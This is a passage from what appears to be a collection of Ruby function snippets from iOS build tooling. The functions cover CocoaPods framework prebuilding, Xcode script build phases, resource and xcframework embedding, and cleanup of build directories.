store_pack[\"generate_path\"] = generate_path\n store_pack[\"server_url\"] = rsync_server_url\n\n Podfile::DSL.builded_store_list.push(store_pack)\n end\n end\n \n \n \n # public private headers\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = []\n target.file_accessors.each do |fa|\n headers += fa.headers || []\n end\n\n config_umbrella_header(output_path, target_name, headers)\n end\n\n \n # ...\n #target.static_framework\n #target.build_as_dynamic_library\n #target.build_as_static_framework\n \n # save the resource paths for later installing\n if !target.resource_paths.empty? #and target.build_as_dynamic?\n framework_path = output_path\n framework_path = framework_path + target.framework_name if target.build_as_framework?\n \n standard_sandbox_path = sandbox.standard_sanbox_path\n\n resources = begin\n if Pod::VERSION.start_with? \"1.5\"\n target.resource_paths\n else\n # resource_paths is Hash{String=>Array<String>} on 1.6 and above\n # (use AFNetworking to generate a demo data)\n # https://github.com/leavez/cocoapods-binary/issues/50\n target.resource_paths.values.flatten\n end\n end\n raise \"Wrong type: #{resources}\" unless resources.kind_of? Array\n\n path_objects = resources.map do |path|\n object = Prebuild::Passer::ResourcePath.new\n #object.real_file_path = framework_path + File.basename(path)\n object.real_file_path = path.gsub('${PODS_ROOT}', sandbox.generate_framework_path.to_s) if path.start_with? '${PODS_ROOT}'\n \n object.target_file_path = path.gsub('${PODS_ROOT}', standard_sandbox_path.to_s) if path.start_with? '${PODS_ROOT}'\n object.target_file_path = path.gsub(\"${PODS_CONFIGURATION_BUILD_DIR}\", standard_sandbox_path.to_s) if path.start_with? \"${PODS_CONFIGURATION_BUILD_DIR}\"\n \n object\n end\n # mark Generated files to Pods/xx\n Prebuild::Passer.resources_to_copy_for_static_framework[target_name] = path_objects\n \n # Logger(1000, \"path_objects\", path_objects)\n # Logger(1001, \"target.name\", target.name)\n\n end\n \n end\n\n end\n \n if md5_file_name\n pods_path = self.sandbox.root\n md5_file_name_path = pods_path + \"md5_file_name.txt\"\n File.write(md5_file_name_path.to_s, md5_file_name_list.to_json)\n end\n \n \n # remove build path\n Pod::Prebuild.remove_build_dir(sandbox_path) if Podfile::DSL.clean_build_dir\n \n def copy_vendered_files(lib_paths, root_path, target_folder)\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n def copy_vendered_headers(lib_paths, root_path)\n lib_paths.each do |lib_path|\n FileUtils.cp_r(lib_path, root_path, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n \n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = self.sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n \n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n if not target.should_build? \n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n next\n end\n \n# Logger(10032, \"dependencies\", target.dependencies)\n \n # continue ....\n next unless File.exist?(root_path)\n \n # copy to Generated\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n \n lib_paths = []\n\n #add frameworks\n lib_paths += file_accessor.vendored_frameworks || []\n \n if Pod::VERSION.start_with? \"1.9\"\n lib_paths += file_accessor.vendored_xcframeworks || [] # cocoapods version 1.9.0+\n end\n \n #add libraries\n lib_paths += file_accessor.vendored_libraries || []\n \n #add headers\n lib_paths += file_accessor.headers || []\n \n lib_paths += file_accessor.docs || []\n\n #add resources\n lib_paths += file_accessor.resources || []\n \n lib_paths += file_accessor.resource_bundles.values if not file_accessor.resource_bundles.nil?\n lib_paths += file_accessor.resource_bundle_files || []\n\n #add license\n lib_paths += [file_accessor.license] if not file_accessor.license.nil?\n lib_paths += [file_accessor.spec_license] if not file_accessor.spec_license.nil?\n\n #add readme\n lib_paths += [file_accessor.readme] if not file_accessor.readme.nil?\n \n\n #developer_files ⇒ Array<Pathname> Paths to include for local pods to assist in development.\n\n copy_vendered_files(lib_paths, root_path, target_folder)\n\n # framework not same\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = file_accessor.headers || []\n copy_vendered_headers(headers, \"#{target_folder}/#{target.framework_name}/Headers\")\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox \n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n \n \n # Remove useless files\n # remove useless pods\n all_needed_names = self.pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name| \n all_needed_names.include? name\n end\n \n \n useless_target_names.each do |name|\n path = sandbox.framework_folder_path_for_target_name(name)\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n if not Podfile::DSL.dont_remove_source_code\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.select do |file|\n filename = File.basename(file)\n not to_remain_files.include?(filename)\n end\n to_delete_files.each do |path|\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n else \n # just remove the tmp files\n path = sandbox.root + 'Manifest.lock.tmp'\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n \n Pod::UI.puts \"🚀 Push Store Info: #{Podfile::DSL.builded_store_list}\"\n\n Podfile::DSL.builded_store_list.each do |store_pack|\n spec_name = store_pack[\"spec_name\"]\n specs_name = store_pack[\"specs_name\"]\n spec_version = store_pack[\"spec_version\"]\n generate_path = store_pack[\"generate_path\"]\n server_url = store_pack[\"server_url\"]\n \n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec_name, specs_name, spec_version, generate_path, server_url)\n end\n \n Podfile::DSL.builded_store_list = []\n end", "def remove_static_framework_duplicate_linkage(static_framework_pods)\n puts \"Removing duplicate linkage of static frameworks\"\n\n Dir.glob(File.join(PODS_TARGET_SUPPORT_FILES_DIR, \"Pods-*\")).each do |path|\n pod_target = path.split('-', -1).last\n\n static_framework_pods.each do |target, pods|\n next if pod_target == target\n frameworks = pods.map { |pod| identify_frameworks(pod) }.flatten\n\n Dir.glob(File.join(path, \"*.xcconfig\")).each do |xcconfig|\n lines = File.readlines(xcconfig)\n\n if other_ldflags_index = lines.find_index { |l| l.start_with?('OTHER_LDFLAGS') }\n other_ldflags = lines[other_ldflags_index]\n\n frameworks.each do |framework|\n other_ldflags.gsub!(\"-framework \\\"#{framework}\\\"\", '')\n end\n\n File.open(xcconfig, 'w') do |fd|\n fd.write(lines.join)\n end\n end\n end\n end\n end\nend", "def remove_script_phase_from_target(native_target, phase_name)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(phase_name) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def before_destroy\n # cwd: utunes_app\n logger.info(\"=======> before_destroy invoked!\")\n\n version_str = sprintf(\"%.2d\", version )\n bundle_title = \"hc12_v#{version_str}\"\n \n bundle_folder = \"lib/bundles\"\n bundle_name=\"build_\" + bundle_title\n bundle_fq_name = bundle_folder + \"/\" + bundle_name\n \n logger.info(\"rm -R #{bundle_fq_name}\")\n logger.info( %x[rm -R #{bundle_fq_name}] )\n \n end", "def clean_up(cmd = nil)\n FileUtils.rm(\n Dir.glob('build/*.{rb,c,js}')\n )\n if cmd == :all\n puts \"cleaning up...\"\n FileUtils.rm_f 'build/app'\n FileUtils.rm_f 'build/app.js'\n FileUtils.rm_f 'build/app.html'\n FileUtils.rm_rf 'build/App.app'\n FileUtils.rm_rf 'build/ios'\n FileUtils.rm_rf 'build/tvos'\n end\nend", "def fixup_framework_bundle(framework_path)\n\t# ensure the Resources directory exists under Versions/Current\n\t# and that it contains an Info.plist file.\n\t#\n\t# When the Qt 4 framework bundles are built, the Info.plist file\n\t# is incorrectly placed in Contents/Info.plist, so move it if necessary\n\tcontent_plist = \"#{framework_path}/Contents/Info.plist\"\n\tresource_dir = \"#{framework_path}/Resources\"\n\tresource_plist = \"#{resource_dir}/Info.plist\"\n\n\tFileUtils.mkpath \"#{framework_path}/Versions/Current/Resources\"\n\tFileUtils.ln_sf 'Versions/Current/Resources', \"#{framework_path}/Resources\"\n\n\tif File.exist?(content_plist) && !File.exist?(resource_plist)\n\t\tFileUtils.cp content_plist, resource_plist\n\tend\n\n\t# Remove anything from the root of the bundle which is not a symlink\n\t# or the 'Versions' directory - see link above to Apple's documentation\n\t# on the structure of framework bundles\n\tDir.foreach(framework_path) do |entry|\n\t\tnext if entry == '.' || entry == '..'\n\n\t\tfile_info = File.lstat(\"#{framework_path}/#{entry}\")\n\n\t\tif entry != 'Versions' && file_info.ftype != 'link'\n\t\t\t$stderr.puts \"Removing unexpected entry from framework bundle root #{framework_path}/#{entry}\"\n\t\t\tFileUtils.rm_rf \"#{framework_path}/#{entry}\"\n\t\tend\n\tend\nend", "def create_or_update_copy_xcframeworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + COPY_XCFRAMEWORKS_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n reorder_script_phase(native_target, phase, :before_compile)\n end", "def prebuilt_apple_framework_targets\n filter_targets(@targets, 'prebuilt_apple_framework')\n end", "def clean_up(cmd = nil)\n FileUtils.rm(\n Dir.glob('build/{src,lib}.{rb,c,js}') +\n Dir.glob('build/ruby2d-opal.{rb,js}') +\n Dir.glob('build/app.c')\n )\n if cmd == :all\n puts \"cleaning up...\"\n FileUtils.rm_f 'build/app'\n FileUtils.rm_f 'build/app.js'\n FileUtils.rm_f 'build/app.html'\n FileUtils.rm_rf 'build/ios'\n FileUtils.rm_rf 'build/tvos'\n end\nend", "def add_embed_frameworks_script_phase\n unless target.includes_frameworks? || (target.xcframeworks_by_config.values.flatten.any? { |xcf| xcf.build_type.dynamic_framework? })\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.embed_frameworks_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n configs = Set.new(target.framework_paths_by_config.keys + target.xcframeworks_by_config.keys).sort\n configs.each do |config|\n framework_paths = target.framework_paths_by_config[config] || []\n xcframeworks = target.xcframeworks_by_config[config] || []\n\n input_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_input_files_path(config), target.embed_frameworks_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframeworks)\n\n output_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_output_files_path(config), target.embed_frameworks_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframeworks)\n end\n end\n\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def clean\n unless @configuration.skip_clean\n print \"Cleaning Project...\"\n xcodebuild @configuration.build_arguments, \"clean\"\n puts \"Done\"\n end\n end", "def clean\n build addl_cmake_bld_args: '--target clean'\n end", "def delete_script_files\n validate_before_delete_script_files!\n FileUtils.rm_rf root_dir if Dir.exists? root_dir\n FileUtils.rm symlink_file if File.symlink? symlink_file\n display.print \"Playwright script '#{script_name}' destroyed!\"\n end", "def prebuild_frameworks!\n UI.puts \"Start prebuild_frameworks\"\n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n\n if Pod::Podfile::DSL.prebuild_all_vendor_pods\n UI.puts \"Rebuild all vendor frameworks\"\n targets = pod_targets\n elsif !local_manifest.nil?\n UI.puts \"Update some frameworks\"\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed\n unchanged = changes.unchanged\n\n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n\n # additions\n missing = unchanged.reject { |pod_name| exsited_framework_pod_names.include?(pod_name) }\n\n root_names_to_update = (added + changed + missing)\n if Pod::Podfile::DSL.enable_prebuild_dev_pod && Pod::Podfile::DSL.is_prebuild_job\n root_names_to_update += Pod::Prebuild::CacheInfo.cache_miss_dev_pods_dic.keys\n end\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map(&:recursive_dependent_targets).flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n UI.puts \"Rebuild all frameworks\"\n targets = pod_targets\n end\n\n targets = targets.reject { |pod_target| should_not_prebuild_vendor_pod(pod_target.name) }\n unless Podfile::DSL.enable_prebuild_dev_pod\n targets = targets.reject { |pod_target| sandbox.local?(pod_target.pod_name) }\n end\n\n # build!\n Pod::UI.puts \"Prebuild frameworks (total #{targets.count})\"\n Pod::UI.puts targets.map(&:name)\n\n Pod::Prebuild.remove_build_dir(sandbox_path)\n targets.each do |target|\n unless target.should_build?\n Pod::UI.puts \"Skip prebuilding #{target.label} because of no source files\".yellow\n next\n # TODO (thuyen): Fix an issue in this scenario:\n # - Frameworks are shipped as vendor frameworks (-> skipped during prebuild)\n # -> The dir structure of this framework in Pods is incorrect.\n # - Expected: Pods/MyFramework/<my_files>\n # - Actual: Pods/MyFramework/MyFramework/<my_files>. Sometimes, Pods/MyFramework is empty :|\n # -> Better to detect such targets EARLY and add them to the blacklist (DSL.unbuilt_pods)\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target.name)\n output_path.mkpath unless output_path.exist?\n Pod::Prebuild.build(\n sandbox_path,\n target,\n output_path,\n bitcode_enabled,\n Podfile::DSL.custom_build_options,\n Podfile::DSL.custom_build_options_simulator\n )\n collect_metadata(target, output_path)\n end\n Pod::Prebuild.remove_build_dir(sandbox_path)\n\n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n\n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n unless target.should_build?\n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true)\n next\n end\n\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n lib_paths = file_accessor.vendored_frameworks || []\n lib_paths += file_accessor.vendored_libraries\n # @TODO dSYM files\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true)\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox\n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n\n # Remove useless files\n # remove useless pods\n all_needed_names = pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name|\n all_needed_names.include? name\n end\n useless_target_names.each do |name|\n UI.puts \"Remove: #{name}\"\n path = sandbox.framework_folder_path_for_target_name(name)\n path.rmtree if path.exist?\n end\n\n if Podfile::DSL.dont_remove_source_code\n # just remove the tmp files\n path = sandbox.root + \"Manifest.lock.tmp\"\n path.rmtree if path.exist?\n else\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.reject { |file| to_remain_files.include?(File.basename(file)) }\n to_delete_files.each { |file| file.rmtree if file.exist? }\n end\n\n updated_target_names = targets.map { |target| target.label.to_s }\n deleted_target_names = useless_target_names\n Pod::UI.puts \"Targets to prebuild: #{updated_target_names}\"\n Pod::UI.puts \"Targets to cleanup: #{deleted_target_names}\"\n\n prebuild_output.write_delta_file(updated_target_names, deleted_target_names)\n prebuild_output.process_prebuilt_dev_pods\n end", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def frameworks_build_phase\n phase = build_phases.find { |bp| bp.class == PBXFrameworksBuildPhase }\n unless phase\n phase= project.new(PBXFrameworksBuildPhase)\n build_phases << phase\n end\n phase\n end", "def keep_source_code_for_prebuilt_frameworks!\n DSL.dont_remove_source_code = true\n end", "def remove_from_project\n build_files.each(&:remove_from_project)\n super\n end", "def after_destroy\n bundle_dir = File.join( self.userfolder, self.bundle_src_folder )\n logger.info(\"==================> Remove all bundle files for: \" + bundle_dir )\n %x[rm -f -R #{bundle_dir}]\n \n # delete bundle image file name\n %x[rm #{fq_bundle_image_filename('*')}]\n \n #delete sample audio prompt\n %x[rm #{fq_bundle_sample_prompt}]\n end", "def create_carthage_script_phase_for_test_targets(project, name)\n frameworks.each do |platform, fs|\n t = target(project, name, platform, true)\n add_carthage_script(t, platform, fs)\n end\nend", "def extract_test_frameworks\n @installed_frameworks = []\n @installed_frameworks << \"test_unit\" if Dir[File.join(destination_root, \"test\")].length > 0\n @installed_frameworks << \"rspec\" if Dir[File.join(destination_root, \"spec\")].length > 0\n \n if @installed_frameworks.length == 0\n # no test-related files created\n puts <<-EOS\nWARNING: you do not have a test-framework installed.\nRun either:\n script/generate install_test_unit\n script/generate install_rspec\n\nand then rerun this generator.\n EOS\n end\n end", "def delete_coffeescript source_path\n if not File.exists?(File.dirname(File.expand_path(source_path, __FILE__)))\n return\n end\n \n generated_directory = File.dirname(File.expand_path(source_path, __FILE__))\n Dir.foreach(generated_directory) do |file|\n if file != generated_directory && file == '.' && file == '..'\n if File.directory?(file)\n FileUtils.rm_rf(file)\n else\n FileUtils.rm(file)\n end\n end\n end\n end", "def remove_old_package\n template_files.clear\n test_cases.clear\n self.import_job = nil\n end", "def build_using_xcode\n validations\n\n framework_args = @framework_paths\n .map { |path| \"-framework #{path}\" }\n .join(\" \")\n\n FileUtils.mkdir_p(@parent_directory)\n output_path = File.join(@parent_directory, \"#{@framework_name}.xcframework\")\n output_args = \"-output #{output_path}\"\n\n logfile = Tempfile.new(['xcframework', '.log'])\n\n cmd = \"xcodebuild -create-xcframework #{framework_args} #{output_args}\"\n\n system(\"#{cmd} >#{logfile.path} 2>&1\") ||\n raise(BuildUsingXcodeFailure.new(File.read(logfile).strip))\n ensure\n if logfile\n logfile.close\n logfile.delete\n end\n end", "def clean_pod_sources\n return unless installation_options.clean?\n return if installed_specs.empty?\n pod_installers.each(&:clean!)\n end", "def add_copy_resources_script_phase\n phase_name = \"Copy Pods Resources\"\n native_targets.each do |native_target|\n phase = native_target.shell_script_build_phases.select { |bp| bp.name == phase_name }.first ||\n native_target.new_shell_script_build_phase(phase_name)\n path = target.copy_resources_script_relative_path\n phase.shell_script = %{\"#{path}\"\\n}\n phase.show_env_vars_in_log = '0'\n end\n end", "def clean_build_directory\n FileUtils.rm_rf Dir.glob(File.join(@project.build_path, '*'))\n end", "def remove_python_compiled_files path\n logger.debug(\"Now removing python object and compiled files from the virtualenv\")\n Find.find(path) do |path|\n if path.end_with? '.pyc' or path.end_with? '.pyo'\n FileUtils.rm path\n end\n end\n end", "def cleanup_nontarget_files\n\n delete_dir = File.expand_path(File.join(app.build_dir, 'Resources/', 'Base.lproj/', 'assets/', 'images/'))\n\n puts_blue \"Cleaning up excess image files from target '#{options.Target}'\"\n puts_red \"Images for the following targets are being deleted from the build directory:\"\n\n (options.Targets.keys - [options.Target]).each do |target|\n\n puts_red \"#{target.to_s}\"\n Dir.glob(\"#{delete_dir}/**/#{target}-*.{jpg,png,gif}\").each do |f|\n puts_red \" Deleting #{File.basename(f)}\"\n File.delete(f)\n end\n end\n\n puts_red \"\\nImages prefixed all- are being deleted if a corresponding #{options.Target}- exists.\"\n\n Dir.glob(\"#{delete_dir}/**/all-*.{jpg,png,gif}\").each do |f|\n if File.exist?( f.sub(\"all-\", \"#{options.Target}-\") )\n puts_red \" Deleting #{File.basename(f)}\"\n File.delete(f)\n end\n end\n\n\n end", "def add_copy_resources_script_phase\n unless target.includes_resources?\n native_targets.each do |native_target|\n TargetIntegrator.remove_copy_resources_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.copy_resources_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths\n target.resource_paths_by_config.each do |config, resource_paths|\n input_paths_key = XCFileListConfigKey.new(target.copy_resources_script_input_files_path(config),\n target.copy_resources_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + resource_paths\n\n output_paths_key = XCFileListConfigKey.new(target.copy_resources_script_output_files_path(config),\n target.copy_resources_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.resource_output_paths(resource_paths)\n end\n end\n\n native_targets.each do |native_target|\n # Static library targets cannot include resources. Skip this phase from being added instead.\n next if native_target.symbol_type == :static_library\n TargetIntegrator.create_or_update_copy_resources_script_phase_to_target(native_target, script_path,\n input_paths_by_config,\n output_paths_by_config)\n end\n end", "def cleanup(build_dir)\n build_dir = Pathname(build_dir)\n tmp_build_dir = Pathname('.temp-build')\n\n # copy over files we need to keep\n if File.directory?(build_dir)\n build_dir.glob(\"**/all-product-headers.yaml\").each do |file|\n intermediate = Pathname(file).relative_path_from(build_dir).dirname\n destination_dir = tmp_build_dir + intermediate\n\n FileUtils.mkdir_p(destination_dir)\n FileUtils.mv(file, destination_dir)\n end\n\n build_dir.rmtree if build_dir.directory?\n FileUtils.mv(tmp_build_dir, build_dir)\n end\nend", "def delete_mock_project\n FileUtils.rm_rf(@project_path)\n end", "def build(scheme, sdk, destination, action, run_timing_tests)\n additional_args = ['true',1].include?(run_timing_tests.downcase) ? '' : 'GCC_PREPROCESSOR_DEFINITIONS=OHHTTPSTUBS_SKIP_TIMING_TESTS'\n puts <<-ANNOUNCE\n =============================\n | Xcode : #{`xcodebuild -version`.chomp.gsub(\"\\n\",'; ')}\n | Action : #{action}\n | SDK : #{sdk}\n | Scheme : \"#{scheme}\"\n | Destination: #{destination}\n | args : \"#{additional_args}\"\n =============================\n\n ANNOUNCE\n\n cmd = %W(\n xcodebuild\n -workspace OHHTTPStubs/OHHTTPStubs.xcworkspace\n -scheme \"#{scheme}\"\n -sdk #{sdk}\n -configuration Debug\n ONLY_ACTIVE_ARCH=NO\n #{additional_args}\n -destination '#{destination}'\n clean #{action}\n )\n\n sh \"set -o pipefail && #{cmd.join(' ')} | xcpretty -c\"\nend", "def patch_kingfisher_for_ios10\n system(\"rm -rf ./Pods/Kingfisher/Sources/SwiftUI\")\n code_file = \"./Pods/Kingfisher/Sources/General/KFOptionsSetter.swift\"\n code_text = File.read(code_file)\n code_text.gsub!(/#if canImport\\(SwiftUI\\) \\&\\& canImport\\(Combine\\)(.|\\n)+#endif/,'')\n system(\"rm -rf \" + code_file)\n aFile = File.new(code_file, 'w+')\n aFile.syswrite(code_text)\n aFile.close()\nend", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n device, \n simulator,\n bitcode_enabled)\n\n deployment_target = target.platform.deployment_target.to_s\n \n target_label = target.label\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = [] \n if bitcode_enabled\n other_options += ['OTHER_CFLAGS=\"-fembed-bitcode\"']\n end\n xcodebuild(sandbox, target_label, device, deployment_target, other_options)\n xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'])\n\n root_name = target.pod_name\n module_name = target.product_module_name\n \n executable_path = \"#{build_dir}/#{root_name}\"\n device_lib = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{root_name}/#{module_name}.framework/#{module_name}\"\n device_framework_lib = File.dirname(device_lib)\n simulator_lib = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{root_name}/#{module_name}.framework/#{module_name}\"\n\n return unless File.file?(device_lib) && File.file?(simulator_lib)\n\n lipo_log = `lipo -create -output #{executable_path} #{device_lib} #{simulator_lib}`\n puts lipo_log unless File.exist?(executable_path)\n\n FileUtils.mv executable_path, device_lib, :force => true\n output_path.mkpath unless output_path.exist?\n FileUtils.mv device_framework_lib, output_path, :force => true\n FileUtils.rm simulator_lib if File.file?(simulator_lib)\n FileUtils.rm device_lib if File.file?(device_lib)\nend", "def remove()\n CCProcess.start(\"sdk-manage --target --remove '#{@name}'\", (_ :removing_target) + \" #{@name}\", 60*15)\n @@targets.delete(@name)\n end", "def clean_up_csproj_resources(doc, app_dir)\n\n app_root = File.basename(app_dir)\n\n # Get all itemgroup elements that are not embedded\n non_embedded_files = XPath.match( doc, 